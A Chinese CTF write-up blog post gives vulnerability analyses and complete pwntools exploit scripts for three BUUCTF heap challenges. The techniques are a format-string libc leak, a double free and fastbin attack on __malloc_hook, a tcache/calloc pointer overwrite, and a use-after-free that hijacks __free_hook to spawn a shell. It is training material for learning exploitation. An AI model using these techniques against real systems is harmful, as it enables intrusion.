BUUCTF-PWN刷题记录-7

gyctf_2020_some_thing_interesting(格式化字符串漏洞, double free)

在这里插入图片描述

程序分析

开始前要先输入验证码,可输入长度为19,然而比较长度仅为14
在这里插入图片描述
这个函数中有格式化字符串漏洞,字符串为之前输入的验证码
在这里插入图片描述
删除之后指针没有置空,double free
在这里插入图片描述

漏洞利用

  1. 利用格式化字符串漏洞泄露libc地址
  2. 进行两次add,对于每次add,其中一个大小为0x68,另一个随意
  3. delete(1), delete(2), delete(1),该题目编号从1开始,不直接double free因为会崩
    在这里插入图片描述
  4. 把chunk大小为0x70块的fd改为__malloc_hook-0x23,劫持即可

Exp

from pwn import *

r = remote("node3.buuoj.cn", 27484)
#r = process("./gyctf_2020_some_thing_interesting")

context.log_level = 'debug'

elf = ELF("./gyctf_2020_some_thing_interesting")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]

def add(size1, content1, size2, content2):
	r.recvuntil("#######################\n")
	r.sendline('1')
	r.recvuntil("> O's length : ")
	r.sendline(str(size1))
	r.recvuntil("> O : ")
	r.send(content1)
	r.recvuntil("> RE's length : ")
	r.sendline(str(size2))
	r.recvuntil("> RE : ")
	r.send(content2)

def delete(index):
	r.recvuntil("#######################\n")
	r.sendline('3')
	r.recvuntil("> Oreo ID : ")
	r.sendline(str(index))

def show(index):
	r.recvuntil("#######################\n")
	r.sendline('4')
	r.recvuntil("> Oreo ID : ")
	r.sendline(str(index))

def edit(index, content1, content2):
	r.recvuntil("#######################\n")
	r.sendline('2')
	r.recvuntil("> Oreo ID : ")
	r.sendline(str(index))
	r.recvuntil("> O : ")
	r.sendline(content1)
	r.recvuntil("> RE : ")
	r.sendline(content2)

r.recvuntil("> Input your code please:")
r.sendline("OreOOrereOOreO"+'%17$p')	#elf 11 libc 17

r.recvuntil("#######################\n")
r.sendline('0')
r.recvuntil("# Your Code is ")
'''	get elf base
r.recvuntil('0x')
elf_base = int(r.recv(12), 16) - 0x161A
success("elf_base:"+hex(elf_base))
captcha = elf_base + 0x202050
content_o = elf_base + 0x2020E0
'''
r.recvuntil('0x')
start_main = int(r.recv(12), 16) - 0xf0
libc.address = start_main - libc.sym['__libc_start_main']
malloc_hook = libc.sym['__malloc_hook']
one_gadget = one_gadget_16[3] + libc.address
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
success("start+main"+hex(start_main))
success("libc_base:"+hex(libc.address))


add(0x68, 'chunk0\n', 0x20, 'chunk1\n')
add(0x68, 'chunk2\n', 0x20, 'chunk3\n')
delete(1)
delete(2)
delete(1)
add(0x68, p64(malloc_hook-0x23)+'\n', 0x68,p64(malloc_hook-0x23)+'\n')
add(0x68, p64(malloc_hook-0x23)+'\n', 0x68,'a'*0x13+p64(one_gadget)+'\n')
r.recvuntil("#######################\n")
r.sendline('1')
r.recvuntil("> O's length : ")
r.sendline(str(0x68))

r.interactive()

gyctf_2020_signin(tcache unlink检查不完整)

在这里插入图片描述

题目分析

本题有后门函数,所以目标就是让ptr不为空
在这里插入图片描述
edit函数没有检查,可以UAF,不过只有一次机会
在这里插入图片描述
添加的机会为9次

漏洞利用

本题需要利用ubuntu 18的tcache实现

  1. 进行8次add(),然后全部释放,此时7个进入tcache,1个进入fastbin
  2. 利用edit 修改fastbin的fd为ptr-0x10
  3. 再进行一次add(),此次会从tcache中取出,然后触发backdoor(),进行calloc(calloc的特性会导致直接从fastbin中取出chunk),从fastbin中取出chunk之后,就把ptr-0x10当做chunk放入tcache(在链入时,会向其fd域写入链表的相关信息,并且发现,在链入过程中,不会对该chunk做size合法性检查)

Exp

from pwn import *

r = remote("node3.buuoj.cn", 26109)
#r = process("./gyctf_2020_signin")

context.log_level = 'debug'
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''	
	b *0x4014DE
        b *0x401494
	x/10gx 0x4040C0
	c
	''')
elf = ELF("./gyctf_2020_signin")
libc = ELF('./libc/libc-2.27.so')
ptr = 0x4040C0

def add(index):
	r.recvuntil("your choice?")
	r.sendline('1')
	r.recvuntil("idx?\n")
        r.sendline(str(index))
	

def delete(index):
	r.recvuntil("your choice?")
	r.sendline('3')
	r.recvuntil("idx?\n")
	r.sendline(str(index))


def edit(index, content):
	r.recvuntil("your choice?")
	r.sendline('2')
	r.recvuntil("idx?\n")
	r.sendline(str(index))
	r.send(content)

for i in range(8):
        add(i)

for i in range(8):
        delete(i)

pause()
edit(7, p64(ptr-0x10))
add(8)
r.recvuntil("your choice?")
r.sendline('6')
r.interactive()

gyctf_2020_document(UAF, 修改堆上指针)

在这里插入图片描述

程序分析

删除之后指针没有置空,并且只删除内容没有删除控制结构
在这里插入图片描述
对于每个document只有一次修改机会
在这里插入图片描述
并且修改时做了偏移,只能修改低0x70个字节,意味着不能修改fd
在这里插入图片描述

漏洞利用

  1. 申请两个document[0, 1],释放0,通过0泄露libc地址
  2. 申请document[2],此时会切割document[0]的内容的一部分作为document[2]的控制结构,把剩下的部分放入smallbin
  3. 释放1,1的内容进入unsorted bin,申请document[3],此时会把剩下的document[0]的内容的一部分作为document[2]的控制结构,并且document[3]的内容和document[1]的内容为同一内存
    在这里插入图片描述
  4. 编辑document[0],在其中伪造一个chunk——p64(0)+p64(0x21)+p64(free_hook-0x10)+p64(0x1)+p64(0)+p64(0x51)+p64(0)*8,这样就修改了document[3]的内容指针
    在这里插入图片描述
  5. 编辑document[3],写入system地址,然后释放

Exp

from pwn import *

r = remote("node3.buuoj.cn", 28777)
#r = process("./gyctf_2020_document")

context.log_level = 'debug'

elf = ELF("./gyctf_2020_document")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]

menu = "Give me your choice : \n"
def add(name, sex, content):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("input name\n")
	r.send(name)
	r.recvuntil("input sex\n")
	r.send(sex)
	r.recvuntil("input information\n")
	r.send(content)

def delete(index):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("Give me your index : \n")
	r.sendline(str(index))

def show(index):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("Give me your index : \n")
	r.sendline(str(index))

def edit(index, content):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("Give me your index : \n")
	r.sendline(str(index))
	r.recvuntil("Are you sure change sex?\n")
	r.send('N\n')
	r.recvuntil("Now change information\n")
	r.send(content)


add('a'*8, 'b'*8, 'c'*0x70+'\n')#0
add('a'*8, 'b'*8, 'c'*0x70+'\n')#1

delete(0)
show(0)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
success("malloc_hook:"+hex(malloc_hook))
libc.address = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook']
system = libc.sym['system']

add('/bin/sh\x00', '/bin/sh\x00', 'c'*0x70+'\n')#2
delete(1)
add('/bin/sh\x00', '/bin/sh\x00', 'c'*0x70+'\n')#3
edit(0, p64(0)+p64(0x21)+p64(free_hook-0x10)+p64(0x1)+p64(0)+p64(0x51)+p64(0)*8+'\n')
edit(3,p64(system)+p64(0)*13+'\n')
delete(1)


r.interactive()
发布了28 篇原创文章 · 获赞 4 · 访问量 2551

猜你喜欢

转载自blog.csdn.net/weixin_44145820/article/details/105511292